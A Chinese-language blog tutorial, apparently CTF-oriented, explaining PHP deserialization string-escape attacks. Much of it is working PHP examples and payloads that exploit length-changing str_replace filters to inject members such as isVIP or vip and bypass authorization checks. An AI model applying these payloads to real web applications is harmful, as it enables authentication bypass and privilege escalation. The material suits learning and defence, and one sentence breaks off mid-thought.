php反序列化字符串逃逸

php反序列化字符串逃逸

字符串逃逸最后的目的无非就是把我们要进行序列化的对象进行成员污染,比如以下代码:

1.字符串被替换增多了导致字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $v1 = 'ls';
public $v2 = '123';
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo "\n";
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));

假设v2的值为666才可以通过鉴权,我们应该怎么做,而v2的值又是不可控的,只有v1我们可控,我们可以把这个字符串逃逸当成sql注入去理解,插入了目标字符让序列化后的成员被我们污染,要理解字符串逃逸要先理解序列化原理:
1、反序列化以;}结束,后面的字符串不影响正常的反序列化
2、序列化后的结果s:“xx”表示后面多少个“字符”是字符,如果字符格式不对就会报错
首先我们看看第一个,把user这个类序列看看怎么理解:

1
2
$data = serialize(new A());
echo $data;

$data输出为

1
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}

其中O代表OBJ,对象的意思,$data是我们实例化的对象,O:1表示这个对象名称字符串有1个字符,后面的s:2:”v2”;表示这个成员的属性,后面的s:2:”ls”;表示这个成员的值,以此类推,每个地方都用分号分隔,最后以大括号闭合,这个s:后面代表这个字符串的长度,当然还有f:代表浮点数这些等等,这个字符串长度告诉php这个东西有多少个字符,全部当成字符串处理进行反序列化包括;},也就是说假设存在一个ls”;s:2:”v2”;s:3:”666”;}这个成员值也是可以序列化的

1
2
public $v1 = 'ls";s:2:"v2";s:3:"666";}';
public $v2 = '123';

O:1:”A”:2:{s:2:”v1”;s:24:”ls”;s:2:”v2”;s:3:”666”;}“;s:2:”v2”;s:3:”123”;}
此时的ls”;s:2:”v2”;s:3:”123”;}还是被当成字符串处理了,因为s:24,如果这个s的值变了是不是可以导致提前闭合;},假设这个s变成了s:2那么ls就是v1的值而后面的溢出字符就是污染了v2的值
O:1:”A”:2:{s:2:”v1”;s:2:”ls“;s:2:”v2”;s:3:”666”;}“;s:2:”v2”;s:3:”123”;}666后面的;}代表了序列化结束后面的字符全是类似注释一样的东西,“;s:2:”v2”;s:3:”666”;}这就是我们逃逸出来的字符串我们把它反序列化看看

1
2
3
4
5
6
7
public $__PHP_Incomplete_Class_Name =>
string(1) "A"
public $v1 =>
string(2) "ls"
public $v2 =>
string(3) "666"
}

可以看到v2已经变成了666的值,再看原来代码

1
2
3
4
5
6
7
8
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo "\n";
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));

我们看两段序列化的字段

1
2
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

可以看到第二段多出来一个d,这就是溢出的字符,那么我们污染v2的值为666,就要构造”;s:2:”v2”;s:3:”666”;}这段序列化的字段,字符长度为22,既然ls替换成pwd会添加一个字符,那么我们添加22个ls就可以多溢出22个字符,类似这样子:
O:1:”A”:2:{s:2:”v1”;s:66:”lslslslslslslslslslslslslslslslslslslslslsls”;s:2:”v2”;s:3:”666”;}”;s:2:”v2”;s:3:”123”;}
变成了
O:1:”A”:2:{s:2:”v1”;s:66:”pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd”;s:2:”v2”;s:3:”666”;}”;s:2:”v2”;s:3:”123”;}

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A{
public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"666";}';
public $v2 = '123';
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"666";}";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo "\n";
echo $data;
//O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"666";}";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));


红色的”;s:2:”v2”;s:3:”666”;}就是我们构造的污染语句,我们把它反序列化一下看看

1
2
3
4
5
6
class A#1 (2) {
public $v1 =>
string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
public $v2 =>
string(3) "666"
}

字符串增加的情况下必须要和
可以看到正常的反序列化,把我们的字符正常解析了,字符串增加的原理大概是这样子,例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","admin666",$s);
}

$a = new user('admin','123456');
$a_seri = serialize($a);
/*echo $a_seri;
echo "\n";
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
echo "\n";
$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);*/
?>

假如我们要污染isvip的值,该怎么做?
先来看看序列化的结果

1
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

正常思路就是把后面的”;s:8:”password”;s:6:”123456”;s:5:”isVIP”;i:0;}字符溢出,变成”;s:8:”password”;s:6:”123456”;s:5:”isVIP”;i:1;}
一共47个字符,admin替换成admin666增加了3个字符,怎么溢出47个字符,这里可以考虑一个思路:
随便把password的值也改变了,多出来一个字符,48除于3刚刚好16个admin,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","admin666",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:7:"1234567";s:5:"isVIP";i:1;}','1');
$a_seri = serialize($a);
echo $a_seri;
//O:4:"user":3:{s:8:"username";s:128:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:7:"1234567";s:5:"isVIP";i:1;}";s:8:"password";s:1:"1";s:5:"isVIP";i:0;}
echo "\n";
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
//O:4:"user":3:{s:8:"username";s:128:"admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666";s:8:"password";s:7:"1234567";s:5:"isVIP";i:1;}";s:8:"password";s:1:"1";s:5:"isVIP";i:0;}
echo "\n";
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
/*class user#2 (3) {
public $username =>
string(128) "admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666admin666"
public $password =>
string(7) "1234567"
public $isVIP =>
int(1)
}*/
?>

我们直接把要溢出的字符串补齐一个字符就是把password的值变成了1234567,多了一位,这样子就可以污染isvip的值,但是password的值被修改了,这是一个思路,如果题目鉴权只对isvip进行检查可以尝试这个思路。

2.字符串被替换变少了导致字符串逃逸

先来看看一个有意思的特性

1
2
3
4
5
6
7
8
<?php
class ABC{
public $v1 = "a";
}
echo serialize(new ABC());

$b = 'O:3:"ABC":1:{s:2:"v2";s:4:"abcd";}';
var_dump(unserialize($b));

输出

1
2
3
4
5
6
7
8
O:3:"ABC":1:{s:2:"v1";s:1:"a";}

class ABC#1 (2) {
public $v1 =>
string(1) "a"
public $v2 =>
string(4) "abcd"
}

为什么明明是反序列化$b,会出现v1的值,这是因为O:3:”ABC”告诉了php在ABC这个类里面获取所有的成员,然后再把$b添加进去,类似覆盖但是保留了没被修改的成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function filter($name)
{
$safe = array("flag","php");
$name = str_replace($safe,"hk",$name);
return $name;
}
class test
{
var $user;
var $pass;
var $vip = false;

function _construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("abc.php");
}

同样是污染vip的值:
拆解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
var $user = 'flag';
var $pass = 'benben';
var $vip = true;

}
function filter($name)
{
$safe = array("flag","php");
$name = str_replace($safe,"hk",$name);
return $name;
}
$a = serialize(new test());
echo $a;
echo "\n";
echo filter($a);

输出

1
2
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
O:4:"test":3:{s:4:"user";s:4:"hk";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

可以看到s:4:”后面的四个字符都是被当作字符串处理了于是反序列化会报错。

主要还是吃掉中间的字符”;s:4:”pass”;s:xx:”一个19个字符,需要构造10个flag,每次吃掉两个,一共被吃掉20个字符,所以在”;s:4:”pass”;s:xx:”前面加上一个字符1,刚刚好变成了需要吃掉1”;s:4:”pass”;s:xx:”一共20个字符,为什么是xx,因为后面的字符串长度肯定是超过10的,构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
function filter($name)
{
$safe = array("flag","php");
$name = str_replace($safe,"hk",$name);
return $name;
}
class test
{
var $user;
var $pass;
var $vip = false;

function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
$param = 'flagflagflagflagflagflagflagflagflagflag';
$pass = '1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
echo $param;
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
echo "\n";
$profile=unserialize(filter($param));
echo filter($param);
//O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
echo "\n";
var_dump($profile);
/*
class test#1 (3) {
public $user =>
string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:42:"1"
public $pass =>
string(6) "benben"
public $vip =>
bool(true)
}
*/
if ($profile->vip){
echo file_get_contents("abc.php");
}
-------------已经到底啦!-------------